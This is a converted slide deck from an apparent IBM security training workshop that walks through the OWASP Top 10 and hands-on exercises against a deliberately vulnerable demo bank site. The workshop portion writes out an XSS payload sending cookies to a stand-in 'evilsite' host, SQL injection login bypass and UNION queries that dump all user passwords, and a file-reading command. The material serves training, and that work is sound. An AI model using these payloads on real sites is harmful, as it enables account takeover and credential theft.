T2 - Hacking 101
Armando Bioc
Hacking 101:
Understanding the Top Web Application Vulnerabilities and How to Protect Against the Next Level of Attack

Armando Bioc
Security Consultant
IBM Software Group – Rational Software

Agenda

• Module 1: Security Landscape
• Module 2:
  – Top Attacks Overview
  – Demo of Manual Techniques
• Module 3: Workshop Exercises
• Module 4: Demo of Automated Techniques
• Module 5: An Enterprise Vision
Module 1: Security Landscape

Objective

1. Understand the web application environment
2. Understand and differentiate between network and application level vulnerabilities
3. Understand where the vulnerabilities exist
Eight Principles of Security Management

1. Compliance Management
2. Risk Management
3. Identity Management
4. Authorization Management
5. Accountability Management
6. Availability Management
7. Configuration Management
8. Incident Management

High Level Network Architecture
Security Product Landscape

Security Management

<table>
<thead>
<tr>
<th>Configuration Management</th>
<th>Incident Management</th>
<th>Policy &amp; Compliance</th>
<th>Patching &amp; Remediation</th>
<th>Forensics Investigation</th>
</tr>
</thead>
<tbody>
<tr>
<td>Hewlett-Packard CA Cisco Microsoft Sun</td>
<td>ArcSight NetForensics Symantec CA Net Intelligence</td>
<td>NetIQ Symantec CA Hewlett-Packard Altiris</td>
<td>Patchlink Shavlink St. Bernard Microsoft Hewlett-Packard</td>
<td>Guidance Niksun CA SenSage Net Intelligence</td>
</tr>
</tbody>
</table>

Vulnerability Assessment

<table>
<thead>
<tr>
<th>Host-Based</th>
<th>Network</th>
<th>Application</th>
</tr>
</thead>
<tbody>
<tr>
<td>Symantec NetQ ISS CA Harris STAT</td>
<td>Database Only AppSec Inc NGS Software</td>
<td>Tenable Nessus ISS Qualys eEye McAfee</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Black-Box IBM HP Cenzic Acunetix</td>
</tr>
<tr>
<td></td>
<td></td>
<td>White-Box Fortify Ounce Labs Secure Soft Klocwork</td>
</tr>
</tbody>
</table>

Black Box vs. White Box: Where?

UI Application Logic

User

```
function b64(sText) {
  if (!sText) { sText = ''; }
  if (typeof sText == 'object') {
    sText = String(sText);
    if (sText.match(/^\[(.*)+\]$/)) {
      sText = 'unknown';
    }
  }
  var sOut = ''; var chr1, chr2, chr3 = ''; var enc1, enc2, enc3, enc4 = ''; var i = 0;
  var keyStr = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
  while (i < sText.length) {
    chr1 = sText.charCodeAt(i++);
    chr2 = sText.charCodeAt(i++);
    chr3 = sText.charCodeAt(i++);
    enc1 = keyStr.charAt((chr1 & 0x3F) | (chr2 & 0xC0) >> 4);
    enc2 = keyStr.charAt(chr2 & 0xF0 | (chr3 & 0xC0) >> 4);
    enc3 = keyStr.charAt((chr3 & 0xF0) | (chr4 & 0xC0) >> 4);
    enc4 = keyStr.charAt(chr4 & 0xF0 | (chr5 & 0xC0) >> 4);
    sOut += enc1 + enc2 + enc3 + enc4;
    i = (i + 3) / 4;
  }
  return sOut;
}
```

DB FS User Infrastructure
Black Box vs. White Box: What?

UI Application Logic

```javascript
function b64Decode(sText) {
    if (!sText) { sText = ''; }
    if (typeof sText == 'object') {
        sText = String(sText);
        if (sText.match(/^[\[(.\+\)]\]$/)) {
            sText = 'unknown';
        }
    }
    var sOut = '',
        var sY1, sY2, sY3 = '',
        var c1, c2, c3, c4 = '',
        var i = 0;
    var keyStr =
        'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdef
ghijklnopqrstuvwxyz0123456789+/=';
    if (sText.length % 4 == 0) {
        for (i = 0; i < sText.length; i++) {
            c1 = c2 = c3 = c4 = '';
            c2 = keyStr.indexOf(sText.charAt(i + 0));
            if (c2 == -1) break;
            i++;
            c4 = keyStr.indexOf(sText.charAt(i + 1));
            if (c4 == -1) break;
            i++;
            c3 = keyStr.indexOf(sText.charAt(i + 2));
            if (c3 == -1) break;
            i++;
            c1 = keyStr.indexOf(sText.charAt(i + 3));
            if (c1 == -1) break;
            i++;
            sY1 = c1;
            sY2 = c2;
            sY3 = c3;
            sOut = sOut + String.fromCharCode(sY1 * 256 * 256 * 256 + sY2 * 256 * 256 + sY3 * 256 + sY4);
        }
    }
    return sOut;
}
```

High Level Web Application Architecture Review

- **Client Tier (Browser)**: Browser requests data from the web application.
- **SSL**: Protects Transport.
- **Firewall**: Protects Network.
- **Internet**: Connections between the client and server.
- **App Server (Presentation) & (Business Logic)**: Processes the data and sends it back to the client.
- **Database**: Stores sensitive data.
- **Sensitive data is stored here**.
- **SSL**: Protects Network.
- **Data Tier**: Stores data for the application.
Network Defenses for Web Applications

Web Applications – Shared Traits

- Get input from user in different ways
  - Path, Parameters, Cookies, Headers, etc.

- Use back-end servers
  - DB, LDAP/AD Server, etc.

- Use session tokens (cookie, parameter, path...)
  - Session tokens may be persistent or not

- Hold public & private information
  - Sensitive info often past the login page
Web Application Security: What Can Happen?

• Sensitive data leakage
  – Customer, partner or company data

• Identity Theft
  – Hacker impersonating as trusted user

• Defacement – Content Modification
  – Hurts brand, misleads customers, etc.

• Application Shutdown (Site Unavailable)
  – Lack of access can cause major loses

Open Source & Manual Products

• Proxies
  – WebScarab
  – Fiddler
  – Paros
  – BURP
  – Spike

• HTTP Editors
  – [See above]
  – Mozilla Tamper Data
  – NetCat

• Fuzzers
  – SensePost Crowbar
  – JBroFuzz

• Database Exploit
  – Absinthe
  – SQL Power Injector

• General Exploit
  – Metasploit
Where are the Vulnerabilities?

- Client-Side
- Custom
- Web Services
  - Web Applications
  - Third-party Components
  - Web Server Configuration
  - Web Server
  - Database
  - Applications
  - Operating System
  - Network

Blackbox scanners that evaluate all network objects for patches and vulnerabilities
Where are the Vulnerabilities?

**Host**

Authenticated agents that evaluate the underlying operating system

<table>
<thead>
<tr>
<th>Client-Side</th>
<th>Custom</th>
<th>Web Services</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td>Web Applications</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Third-party Components</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Web Server Configuration</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Web Server</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Database</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Applications</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Operating System</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Network</td>
</tr>
</tbody>
</table>

**Database**

Evaluate the database for missing patches, poor configuration and vulnerabilities

<table>
<thead>
<tr>
<th>Client-Side</th>
<th>Custom</th>
<th>Web Services</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td>Web Applications</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Third-party Components</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Web Server Configuration</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Web Server</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Database</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Applications</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Operating System</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Network</td>
</tr>
</tbody>
</table>
Where are the Vulnerabilities?

App Scanners
Scan the web application to uncover vulnerabilities

Code Scan
Parse software source code to determine policy violations and poor practices

Client-Side | Custom | Web Services
---|---|---
Web Applications
Third-party Components
Web Server Configuration
Web Server
Database
Applications
Operating System
Network
Where are the Vulnerabilities?

Module 2:

– Top Attacks Overview
– Demo of Manual Techniques
The Myth: “Our Site Is Safe”

We Have Firewalls in Place

We Audit It Once a Quarter with Pen Testers

We Use Network Vulnerability Scanners

We Use SSL Encryption

Security and Spending Are Unbalanced

<table>
<thead>
<tr>
<th>Security</th>
<th>Spending</th>
</tr>
</thead>
<tbody>
<tr>
<td>% of Attacks</td>
<td>% of Dollars</td>
</tr>
<tr>
<td>Web Applications</td>
<td>75%</td>
</tr>
<tr>
<td>Network Server</td>
<td>25%</td>
</tr>
</tbody>
</table>

75% of All Attacks on Information Security Are Directed to the Web Application Layer

2/3 of All Web Applications Are Vulnerable

Sources: Gartner, IBM, OWASP
What is a Web Application?

- The business logic that enables:
  - User’s interaction with Web site
  - Transacting/interfacing with back-end data systems (databases, CRM, ERP etc)

- In the form of:
  - 3rd party packaged software; i.e. web server, application server, software packages etc.
  - Code developed in-house / web builder / system integrator

Input and Output flow through each layer of the application

A break in any layer breaks the whole application
### Infrastructure vs. Application Security Issues

<table>
<thead>
<tr>
<th></th>
<th>Infrastructure Vulnerabilities</th>
<th>Application Specific Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Cause of Defect</strong></td>
<td>Insecure development or deployment of 3rd party SW</td>
<td>Insecure development of your own applications</td>
</tr>
<tr>
<td><strong>Location of Vulnerability</strong></td>
<td>3rd party infrastructure (web server, OS, etc.)</td>
<td>Application Code, often resides on Application Server</td>
</tr>
<tr>
<td><strong>Method of Exploits</strong></td>
<td>Known vulnerabilities (0-day), signature based</td>
<td>Probing hacks, suspicious content, information leakage</td>
</tr>
<tr>
<td><strong>Detection</strong></td>
<td>Patch Management system</td>
<td>App Security Scanners</td>
</tr>
<tr>
<td></td>
<td>Internal/External Audits, Automated Scanners</td>
<td></td>
</tr>
<tr>
<td><strong>What to do</strong></td>
<td>Update patches, use trusted 3rd party software</td>
<td>Training &amp; Scanners – across the Development Life Cycle</td>
</tr>
</tbody>
</table>

### WASC

- **Web Application Security Consortium (WASC)**
  - Purpose:
    - To develop, adopt, and advocate standards for web application security
  - Official web site: [www.webappsec.org](http://www.webappsec.org)

- **Web Security Threat Classification project**
  - Purpose:
    - Clarify and organize the threats to the security of a web site
    - Develop and promote industry standard terminology for these issues
## WASC – Threat Classifications
(Web Application Security Consortium) [www.webappsec.org](http://www.webappsec.org)

### Application Threat Attack Types Example Business Impact

<table>
<thead>
<tr>
<th>Application Threat</th>
<th>Attack Types</th>
<th>Example Business Impact</th>
</tr>
</thead>
</table>
| Authentication     | • Brute Force  
• Insufficient Authentication  
• Weak Password Recovery Validation | Attacks that target a web site’s method of validating the identity of a user, service or application. |
| Authorization      | • Credential/Session Prediction  
• Insufficient Authorization  
• Insufficient Session Expiration  
• Session Fixation | Attacks that target a web site’s method of determining if a user, service or application has the necessary permissions to perform a requested action. |
| Client-side Attacks| • Content Spoofing  
• Cross Site Scripting | The abuse or exploitation of a web site’s users (breaching trust relationships between a user and a web site). |
| Command Execution  | • Buffer Overflow  
• Format String Attack  
• LDAP Injection  
• OS Commanding  
• SQL Injection  
• SSI Injection  
• XPath Injection | Attacks designed to execute remote commands on the web site by manipulating user-supplied input fields. |

### Information Disclosure

<table>
<thead>
<tr>
<th>Attack Types</th>
<th>Example Business Impact</th>
</tr>
</thead>
</table>
| • Directory Indexing  
• Information Leakage  
• Path Traversal  
• Predictable Resource Location | Attacks designed to acquire system specific information about a web site. This includes software distribution, version numbers, patch levels, and also secure file locations. |

### Logical Attacks

<table>
<thead>
<tr>
<th>Attack Types</th>
<th>Example Business Impact</th>
</tr>
</thead>
</table>
| • Abuse of Functionality  
• Denial of Service  
• Insufficient Anti-automation  
• Insufficient Process Validation | The abuse or exploitation of a web application logic flow (password recovery, account registration, auction bidding and eCommerce purchasing are examples of application logic). |
OWASP

- Open Web Application Security Project
  Purpose: Dedicated to finding and fighting the causes of insecure software.
- Official web site: [www.owasp.org](http://www.owasp.org)

- Purpose:
  - A broad consensus about what the most critical web application security flaws are
  - Raise awareness of web application security issues
- We will use the Top 10 list to cover some of the most common security issues in web applications

<table>
<thead>
<tr>
<th>Application Threat</th>
<th>Negative Impact</th>
<th>Example Impact</th>
</tr>
</thead>
<tbody>
<tr>
<td>Cross Site scripting</td>
<td>Identity Theft, Sensitive Information Leakage, ...</td>
<td>Hackers can impersonate legitimate users, and control their accounts.</td>
</tr>
<tr>
<td>Injection Flaws</td>
<td>Attacker can manipulate queries to the DB / LDAP / Other system</td>
<td>Hackers can access backend database information, alter it or steal it.</td>
</tr>
<tr>
<td>Malicious File Execution</td>
<td>Execute shell commands on server, up to full control</td>
<td>Site modified to transfer all interactions to the hacker.</td>
</tr>
<tr>
<td>Insecure Direct Object Reference</td>
<td>Attacker can access sensitive files and resources</td>
<td>Web application returns contents of sensitive file (instead of harmless one)</td>
</tr>
<tr>
<td>Cross-Site Request Forgery</td>
<td>Attacker can invoke “blind” actions on web applications, impersonating as a trusted user</td>
<td>Blind requests to bank account transfer money to hacker</td>
</tr>
<tr>
<td>Information Leakage and Improper Error Handling</td>
<td>Attackers can gain detailed system information</td>
<td>Malicious system reconnaissance may assist in developing further attacks</td>
</tr>
<tr>
<td>Broken Authentication &amp; Session Management</td>
<td>Session tokens not guarded or invalidated properly</td>
<td>Hacker can “force” session token on victim; session tokens can be stolen after logout</td>
</tr>
<tr>
<td>Insecure Cryptographic Storage</td>
<td>Weak encryption techniques may lead to broken encryption</td>
<td>Confidential information (SSN, Credit Cards) can be decrypted by malicious users.</td>
</tr>
<tr>
<td>Insecure Communications</td>
<td>Sensitive info sent unencrypted over insecure channel</td>
<td>Unencrypted credentials “sniffed” and used by hacker to impersonate user</td>
</tr>
<tr>
<td>Failure to Restrict URL Access</td>
<td>Hacker can access unauthorized resources</td>
<td>Hacker can forcefully browse and access a page past the login page</td>
</tr>
</tbody>
</table>
1. Cross-Site Scripting (XSS)

- What is it?
  - Malicious script echoed back into HTML returned from a trusted site, and runs under trusted context

- What are the implications?
  - Session Tokens stolen (browser security circumvented)
  - Complete page content compromised
  - Future pages in browser compromised

XSS Example I

HTML code:

```
<p>no results were found for the query: <span id="ct10_st10_Content_news_lblexact">test</span></p>
```
XSS Example II

HTML code:

```
<script>
    document.write('No results were found for the query:<br>');?></script>
</body>
</html>
```

XSS – Details

- Common in Search, Error Pages and returned forms.
  - But can be found on any type of page

- Any input may be echoed back
  - Path, Query, Post-data, Cookie, Header, etc.

- Browser technology used to aid attack
  - XMLHttpRequest (AJAX), Flash, IFrame...

- Has many variations
  - XSS in attribute, DOM Based XSS, etc.
Cross Site Scripting – The Exploit Process

1) Link to bank.com sent to user via E-mail or HTTP

2) User sends script embedded as data

3) Script/data returned, executed by browser

4) Script sends user’s cookie and session information without the user’s consent or knowledge

5) Evil.org uses stolen session information to impersonate user

User

Evil.org

bank.com

Exploiting XSS

• If I can get you to run my JavaScript, I can...
  – Steal your cookies for the domain you’re browsing
  – Track every action you do in that browser from now on
  – Redirect you to a Phishing site
  – Completely modify the content of any page you see on this domain
  – Exploit browser vulnerabilities to take over machine
  – ...

• XSS is the Top Security Risk today (most exploited)
Sticky/Embedded XSS (XSS Worms)

- Embedding malicious script in persistent location
  - “Talkback” section
  - Forum/Newsgroup

- Boosted with Web 2.0 trend
  - Customizable content
  - More user content (communities)

- XSS Can “Infest” more pages - Worm
  - MySpace worm (Samy, October 2005)

2. Injection Flaws

- What is it?
  - User-supplied data is sent to an interpreter as part of a command, query or data.

- What are the implications?
  - SQL Injection – Access/modify data in DB
  - SSI Injection – Execute commands on server and access sensitive data
  - LDAP Injection – Bypass authentication
  - ...
SQL Injection

- User input inserted into SQL Command:
  - Get product details by id:
    Select * from products where id='$_REQUEST["id"]';
  - Hack: send param id with value ‘ or ‘1’=‘1
  - Resulting executed SQL:
    Select * from products where id='' or ‘1’=‘1’
  - All products returned
SQL Injection Example II

An Error Has Occurred

Summary:
Syntax error (missing operator) in query expression "execute c" AND password = "xsfM".

Error Message:

SQL Injection Example - Exploit

Online Banking Login

Username: at [site]
Password: 

The Altera Mutual website is published by Watchfire, Inc. for the sole purpose of demonstrating the effectiveness of Watchfire
SQL Injection Example - Outcome

Injection Flaws – More Info

• One SQL Injection compromises entire DB
  – Doesn’t matter if it’s a remote page

• Not limited to SQL Injection
  – LDAP, XPath, SSI, MX (Mail)...
  – HTML Injection (Cross Site Scripting)
  – HTTP Injection (HTTP Response Splitting)
Injection Flaws (SSI Injection Example)
Creating commands from input

The return is the private SSL key of the server
3. Malicious File Execution

- What is it?
  - Application tricked into executing commands or creating files on server

- What are the implications?
  - Command execution on server – complete takeover
  - Site Defacement, including XSS option
Malicious File Execution – Example cont.

```csharp
%stdio-Language="C#"
%Response.Write(System.IO.File.ReadAllText("C:\windows\system32\drivers\etc\hosts"));
```

Malicious File Execution – Example cont.

```
# This is a sample HOSTS file used by Microsoft TCP/IP for
# Windows. # This file contains the mappings of IP addresses to host names. Each # entry should be kept on an individual line. The IP address should be placed in the first column followed by the corresponding host name. # The IP address and the host name should be separated by at least one # space. # Additionally, comments (such as these) may be inserted on individual # lines or following the machine name denoted by a # symbol. # For example, # 102.54.94.07  planex.com  # source server # 192.55.95.10  s planex.com  # client host
```
4. Insecure Direct Object Reference

- What is it?
  - Part or all of a resource (file, table, etc.) name controlled by user input.

- What are the implications?
  - Access to sensitive resources
  - Information Leakage, aids future hacks

Insecure Direct Object Reference - Example
Insecure Direct Object Reference – Example
Cont.
5. Cross Site Request Forgery (CSRF/XSRF)

- What is it?
  - Tricking a victim into sending an unwitting (often blind) request to another site, using the user’s session and/or network access.

- What are the implications?
  - Internal network compromised
  - User’s web-based accounts exploited

**XSRF Exploit Illustration**

1. User browses page with malicious content
2. Script (or link) is downloaded and executed in browser
3. Router opened for outside access
4. Firewalls surpassed, internal computers hacked

3) Bank.com
   - 3) Money Transferred
   - 4) Money Withdrawn

3) All mails forwarded to hacker

1) WebMail
2) Wireless Router
3) Victim
4) Evil.org

4) Private mails accessed, possibly containing passwords
XSRF vs. XSS

- XSS Exploits the trust a user gives a site
  - Cookies and data access to specific domain

- XSRF Exploits the trust a site gives a user
  - User “logged in” to site or has access to site (Intranet)

- XSRF may be delivered via XSS (or Sticky XSS)

- XSS may be auto-exploited via XSRF
  - XSRF on one site exploit XSS on other – hands free

6. Information Leakage and Improper Error Handling

- What is it?
  - Unneeded information made available via errors or other means.

- What are the implications?
  - Sensitive data exposed
  - Web App internals and logic exposed (source code, SQL syntax, exception call stacks, etc.)
  - Information aids in further hacks
**Information Leakage - Example**

![Image of Information Leakage Example]

**Improper Error Handling - Example**

![Image of Improper Error Handling Example]
7. Broken Authentication and Session Management

- **What is it?**
  - Session tokens aren’t guarded and invalidated properly

- **What are the implications?**
  - Session tokens can be planted by hacker in XSS/XSRF attack, hence leaked
  - Session tokens more easily available (valid longer, less protection) to be stolen in different ways
Broken Authentication and Session Management - Examples

• Unprotected Session Tokens
  – Session ID kept in Persistent Cookie
  – Not using http-only value for cookies

• Sessions valid for too long
  – Session not invalidated after logout
  – Session timeout too long

• Session fixation possible
  – Session ID not replaced after login (hence can be fixed)

8. Insecure Cryptographic Storage

• What is it?
  – Weak or no cryptographic protection on sensitive resources at rest
  – Lack of safeguards on keys

• What are the implications?
  – Session tokens can be predicted (due to weak, often homegrown, algorithms)
  – Sensitive data available through DB access (internal hacker, SQL Injection, etc.)
Insecure Cryptographic Storage: Weak Session Token

• Hacker samples session IDs and gets: 1, 2, 4, 6, 7, 10, 11, 15...

• Can you predict other valid sessions? (Hint: Other users may enter site and get sessions during the hacker’s sampling)

• Points to consider:
  – Doesn’t need to be that simple...
  – Keys may be predictable (e.g. timestamp)

9. Insecure Communication

• What is it?
  – Sensitive data sent over unencrypted channels

• What are the implications?
  – Data can be stolen or manipulated by Internal or External hacker
Insecure Communication: Points to Consider

• Not only the login page is sensitive
  – Anything after it is too, and maybe more

• Internal Hackers are a threat
  – Encrypt internal communications as well

• Use strong encryption keys
  – See previous topic...

10. Failure to Restrict URL Access

• What is it?
  – Resources that should only be available to authorized users can be accessed by forcefully browsing them

• What are the implications?
  – Sensitive information leaked/modified
  – Admin privileges made available to hacker
Failure to Restrict URL Access - Admin User login

Simple user logs in, forcefully browses to admin page
Failure to Restrict URL Access:
Privilege Escalation Types

- **Access given to completely restricted resources**
  - Accessing files that shouldn’t be served (*.bak, “Copy Of”, *.inc, *.cs, ws_ftp.log, etc.)

- **Vertical Privilege Escalation**
  - Unknown user accessing pages past login page
  - Simple user accessing admin pages

- **Horizontal Privilege Escalation**
  - User accessing other user’s pages
  - Example: Bank account user accessing another’s

### The OWASP Top 10 Application Attacks

<table>
<thead>
<tr>
<th>Application Threat</th>
<th>Negative Impact</th>
<th>Example Impact</th>
</tr>
</thead>
<tbody>
<tr>
<td>Cross Site Scripting</td>
<td>Identity Theft, Sensitive Information Leakage, ...</td>
<td>Hackers can impersonate legitimate users, and control their accounts.</td>
</tr>
<tr>
<td>Injection Flaws</td>
<td>Attacker can manipulate queries to the DB / LDAP / Other system</td>
<td>Hackers can access backend database information, alter it or steal it.</td>
</tr>
<tr>
<td>Malicious File Execution</td>
<td>Execute shell commands on server, up to full control</td>
<td>Site modified to transfer all interactions to the hacker.</td>
</tr>
<tr>
<td>Insecure Direct Object Reference</td>
<td>Attacker can access sensitive files and resources</td>
<td>Web application returns contents of sensitive file (instead of harmless one)</td>
</tr>
<tr>
<td>Cross-Site Request Forgery</td>
<td>Attacker can invoke “blind” actions on web applications, impersonating as a trusted user</td>
<td>Blind requests to bank account transfer money to hacker</td>
</tr>
<tr>
<td>Information Leakage and Improper Error Handling</td>
<td>Attackers can gain detailed system information</td>
<td>Malicious system reconnaissance may assist in developing further attacks</td>
</tr>
<tr>
<td>Broken Authentication &amp; Session Management</td>
<td>Session tokens not guarded or invalidated properly</td>
<td>Hacker can “force” session token on victim; session tokens can be stolen after logout</td>
</tr>
<tr>
<td>Insecure Cryptographic Storage</td>
<td>Weak encryption techniques may lead to broken encryption</td>
<td>Confidential information (SSN, Credit Card) can be decrypted by malicious users</td>
</tr>
<tr>
<td>Insecure Communications</td>
<td>Sensitive info sent unencrypted over insecure channel</td>
<td>Unencrypted credentials “sniffed” and used by hacker to impersonate user</td>
</tr>
<tr>
<td>Failure to Restrict URL Access</td>
<td>Hacker can access unauthorized resources</td>
<td>Hacker can forcefully browse and access a page past the login page</td>
</tr>
</tbody>
</table>
Module 3: Workshop Exercises

Objective

Hacking 101:
• Understand reconnaissance and profiling

1. Hands-on: Find vulnerabilities and exploit
   a) Failure to restrict URL access and information leakage
   b) Cross site scripting (XSS)
   c) SQL Injection
   d) Advanced SQL Injection

2. Understand the difference between a vulnerability and an exploit
Profiling a web application

Reconnaissance and Profiling

- **Platform**
  - Technologies
  - Application servers
  - Web servers
  - Web server authentication
  - Database usage
  - Database type
  - Third-party components

- **Application**
  - Authentication
  - Authorization
  - Web based administration
  - User contributed content
  - Client side validation
  - Password validation
  - Session state
  - Error handling
  - Application logic
How much did you find?

• Platform
  – .NET, JavaScript
  – IIS 5.0+
  – Anonymous web server authentication
  – Database in use
  – MS SQL? Access?
  – User management connections?

• Application
  – Form based authentication
  – User based authorization
  – Yes = /Admin
  – No social contribution areas
  – No password reset
  – Cookies (several)
  – Custom error pages
  – CGI execution

Task 1: Access the Administration section

• Step 1: Forceful browse to administration section
  – Does it exist?
  – The URL for the banking application is: [http://demo.testfire.net/bank](http://demo.testfire.net/bank)
    • What might the administrative application be?
  – Is there a default page?
  – What might you name a login page?
    • What was it for the banking application?

• Step 2: Ask some questions about the login page?
  – Is there a username associated with the password?
  – Is the password static?
  – What might I use for a password?
  – Where might I look for a password?

• Step 3: Exploit
!!Action
Navigate to admin directory
!! We learn ...
Administration Section Exists

!!Action
Navigate to login.aspx page
!! We learn ...
Common naming practices
Solution – Forceful browsing

- Navigate to http://demo.testfire.net
  - Try http://demo.testfire.net/administration
    - Fails
  - Try http://demo.testfire.net/admin
    - Success
    - No default page
- Try http://demo.testfire.net/admin/logon.aspx
  - Failure
  - Try http://demo.testfire.net/admin/login.aspx
    - Success
Solution – Information Leakage

• The administration section uses a single password
• Try to guess the password
  – Password, password, password1, Password1
  – Admin, admin, Admin1, admin1
  – Altoro, Altoro, Altoro1, altoro1
• View the page source
• Search for comments
  – Success

Task 2: Steal the user cookie

• Step 1: Determine the best attack method
  – How do I force the client to run my commands?
  – What scripting language are almost all browsers able to execute?

• Step 2: Find the application vulnerability
  – Where might I be able to include content within an application?
  – What does the payload look like?
  – How do I access the client cookie?

• Step 3: Exploit
  – Discussion Topic
  • How do I send this cookie from the victim to the attacker?
!!Action
Enter search text
!! We learn ...
Content is echoed back to page

!!Action
Enter javascript command
!! We learn ...
Output is not encoded
Solution – Cross site scripting (XSS)

- Navigate to [http://demo.testfire.net](http://demo.testfire.net)
- Search for any query term
  - Output is reflected to the page
- Query: `<script>alert(1)</script>`
  - Output is not encoded
- Query: `<script>alert(document.cookie)</script>`
  - Cookie is available and can be stolen
- How would I exploit this?
  - Social engineering - send URL of search query to victim
    - `<script>document.write('<img src='http://evilsite/?document.cookie>')</script>`
Task 3: Login without credentials

• Step 1: Find the login page
  – Can you create an account?
  – Can you determine a valid username?

• Step 2: Can you cause an error?
  – What information do you learn when you cause an error?
  – What database is this using?
  – What are techniques that you might use?
  – What characters terminate a SQL statement?

• Step 3: Exploit

!!Action
Username, no password

!! We learn ...
Uses client-side JS validation
!!Action

Enter your name into the username and a single tick into the password

!! We can guess that

SQLQuery = "SELECT Username FROM Users WHERE Username = "'" & strUsername & "' AND Password = "'" & strPassword & "'"
Enter your name, a tick, double hyphen and whatever password you want

We learn ...

Double hyphen is used for a comment, the result is that everything after the double hyphen is now treated as a comment

Valid SQL statement = login

SELECT Username FROM Users WHERE Username = 'jsmith' AND Password = 'demo1234'
SELECT Username FROM Users WHERE Username = 'admin' OR 1=1 --' AND Password = '1'
Solution – Profile the login page

- Navigate to http://demo.testfire.net/bank/login.aspx
- Enter sample username without password
  - Usage of client-side JavaScript
- Enter sample username with password
  - No credential enumeration
- Enter sample username with single tick ('`) as password
  - SQL injection vulnerability
  -Verbose error messages
  - Column names of username and password

Solution – SQL Injection

- Enter sample username with password of '('--
  - Double hyphen terminates a SQL statement

- Enter probable username (admin) with special characters appended '('--
  - Successful exploitation of SQL injection
Task 4: Steal all the usernames and passwords

• Step 1: Find a page that lists information
  – What page lists information?
  – Does the page accept user input in any way?
  – Think about how this information is pulled from the database?

• Step 2: Find the vulnerability
  – How do I manipulate the input to find a vulnerability?
  – What steps should I try to “break the system”

• Step 3: Exploit
  – What steps are required to make this happen?

!!Action
Start in current session

!! We learn ...
The admin has no bank accounts
!!Action
Enter some date in the future
!! We learn ...
No user activity

!!Action
Single tick in form field
!! We learn ...
Vulnerable to SQL injection
Column named userid
!!Action
Enter username and password
1/1/2010 union select 1 from users--
!! We learn ...
Requires four columns in query

!!Action
Enter four columns in query
1/1/2010 union select 1,1,1,1 from users--
!! We learn ...
SQL injection succeeds
Enter valid SQL command. We already know 3 columns (userid, username, password) and a table in the database!!!

1/1/2010 union select userid,null,'username: '+username+ 'password:'+password,null from users

!! We learn ...
All the usernames and passwords

Solution – Find the vulnerability

• Use technique from the last task to login

• Find a page that lists information from the DB
  – http://demo.testfire.net/bank/transactions.aspx

• Enter a single tick (') in the first form field
  – Vulnerable to SQL injection
  – Verbose error messages
  – Column named userid (we already know about username and password)
Solution – Complex SQL Injection

• Query: 1/1/2010 union select 1 from users--
  – Error message about matching columns
  – Learn that table users exists

• Query: 1/1/2010 union select 1,1,1 from users--
  – Successful in executing query

• We already know 3 columns (userid, username, password) and a table in the database

• Query: 1/1/2010 union select userid,null,username+' '+password,null from users--
  – Successful exploitation

Questions

1. Understand reconnaissance and profiling

2. Hands-on: Find vulnerabilities and exploit
   a) Forceful browsing and information leakage
   b) Cross site scripting (XSS)
   c) SQL Injection
   d) Advanced SQL Injection

3. Understand the difference between a vulnerability and an exploit
Module 4: Automated Techniques

Objective

1. Understand how automation can help uncover vulnerabilities
2. Demonstration of automated vulnerability assessment
3. Understand the limitations of vulnerability assessment
Welcome to AppScan

- Double click on IBM Rational’s AppScan
- Choose Open

Pick a Template

- Choose Default under Predefined Templates
Type of Scan

- Select the type of scan you wish to perform
- Select Web Application Scan
- Click Next

What to scan

- Select the scanned application
- Type [http://demo.testfire.net](http://demo.testfire.net)
- Click Next >
Login

- Choose Automatic login
- User name: jsmith Password: Demo1234
- Click Next

Note: you may want to choose the record option and follow the steps

What to test

Select the test policy
- Click on ‘Load’
- Select ‘Application-Only’
- Click OK
- Click Next

For this exercise we will test just for application level vulnerabilities
Start the scan

- Select ‘Start a full automatic scan’

AppScan will perform
Explore and execute
Tests

View the results
Module 5: An Enterprise Vision

Asking the Wrong Question

- Business Owner: Why isn't the app working?
- Developer: What's wrong with the code?
- QA Test: Where are the bugs?
- Security Auditor: What is our risk exposure?

What are the root causes?
Understanding the Root Causes

1. Takes the focus off the symptoms
2. Eliminates over-reporting
3. Highlights pro-active security
4. Can help build education programs
5. CHASING VULNERABILITIES DOESN’T WORK

Online Risk Management for the Enterprise

People
Process
Technology
The People Factor

- Repeatable, measurable education system
  - Eight principles of security
  - Six primary threat classifications

- Resource library
  - Corporate policy
  - Best practices
  - Specific process with security artifacts

- Feedback Loop
  - Development, QA and Internal
  - Support and External

The Process Factor

- Defined secure lifecycle
  - Risk Profiling
  - Architectural Risk Analysis / Threat Modeling
  - Defined inputs and outputs
  - Checkpoints and Gates

- Feedback loop for process improvement
  - Internal
  - External

- MEASUREMENT
The Technology Factor

- Automated analysis
  - Strengths
    - Technical vulnerabilities
    - Scale and cost
  - Weaknesses
    - Architectural and logical design flaws
- Manual analysis
  - Strengths
    - The “human factor”
    - Design flaws
  - Weaknesses
    - Costly (time and money)

Security Considerations in the SDLC

- **Design**
  - Architectural Risk Analysis
  - Threat Modeling
  - Abuse Cases
- **Build**
  - Component Testing
  - Peer Code Review
  - Build Testing
- **Test**
  - QA Testing
  - Formal Security Assessment
  - Formal Code Review
- **Deploy**
  - Quarterly Audit

The Foundation

1. Playbook
2. Resource Library
3. Enterprise Metrics
4. SDLC
5. Training Program

---

63
Outsourcing?

Define
• Assign Security Expert
• Risk Analysis

The Foundation
1. Playbook
2. Resource Library
3. Enterprise Metrics
4. SDLC
5. Training Program

Test
• Formal Security Assessment

Deploy
